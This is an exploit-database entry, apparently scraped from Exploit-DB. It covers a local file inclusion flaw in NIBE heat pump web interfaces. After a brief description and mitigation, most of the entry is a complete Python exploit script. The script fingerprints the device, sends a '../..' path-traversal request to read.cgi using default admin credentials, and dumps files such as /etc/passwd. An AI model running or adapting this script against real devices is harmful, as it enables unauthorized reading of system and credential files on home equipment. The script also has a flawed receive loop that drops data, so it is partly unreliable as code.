NIBE Heat Pump LFI Exploit

vendor:

Heat Pump

by:

Jelmer de Hen

8,8

CVSS

HIGH

Local File Inclusion (LFI)

CWE

Product Name: Heat Pump

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

This exploit allows an attacker to read files from a vulnerable NIBE heat pump. The exploit is done by sending a GET request to the heat pump's web server with a crafted URL containing the path of the file to be read. The request must also include a valid username and password in the form of a base64 encoded string in the Authorization header.

Mitigation:

Ensure that the web server is not accessible from the internet and that the username and password are not the default ones.

Source

Exploit-DB raw data:

#!/usr/bin/python
import socket,sys,os,base64
# NIBE heat pump LFI exploit
#
# Written by Jelmer de Hen
# Published at http://h.ackack.net/?p=302
#
# Special thanks to Fredrik Nordberg Almroth and Mathias Karlsson for obtaining this information http://h.ackack.net/?p=274 which made me test the heat pumps and find the exploits.


def finger_heatpump(ip, port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))
	s.send("GET / HTTP/1.1\n\n")
	header = s.recv(1024)
	s.close()
	if header.find("NIBE") !=-1:
		return 1
	else:
		return 0

def exploit_pump(ip, port, filename, basic_auth):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))
	s.send("GET /cgi-bin/read.cgi?page=../.."+filename+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")
	file = ""
	while s.recv(1024):
		file = file + s.recv(1024)
	s.close()
	return file

def instructions():
	print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"
        print "Written by Jelmer de Hen"
        print "published at http://h.ackack.net/?p=302"
	print "Examples:"
	print sys.argv[0]+" 127.0.0.1 80 /etc/passwd"
	print sys.argv[0]+" 127.0.0.1 80 /etc/passwd admin p455w0rd"
	sys.exit(1)

def main():
	if len(sys.argv)==4 or len(sys.argv)==6:
		try:
			ip = sys.argv[1]
			port = int(sys.argv[2])
			filename = sys.argv[3]
		except:
			instructions()
		try:
			basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])
		except:
			basic_auth = base64.b64encode("admin:admin")

		if finger_heatpump(ip, port) == 1:
			print "[+] Fingerprint scan success"
			file_contents = exploit_pump(ip, port, filename, basic_auth)
			if len(file_contents)==0:
				print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"
			else:
				print "[+] Contents of "+filename+":"
				print file_contents
		else:
			print "[-] Fingerprint scan failed"

	else:
		instructions()

if __name__ == "__main__":
	sys.exit(main())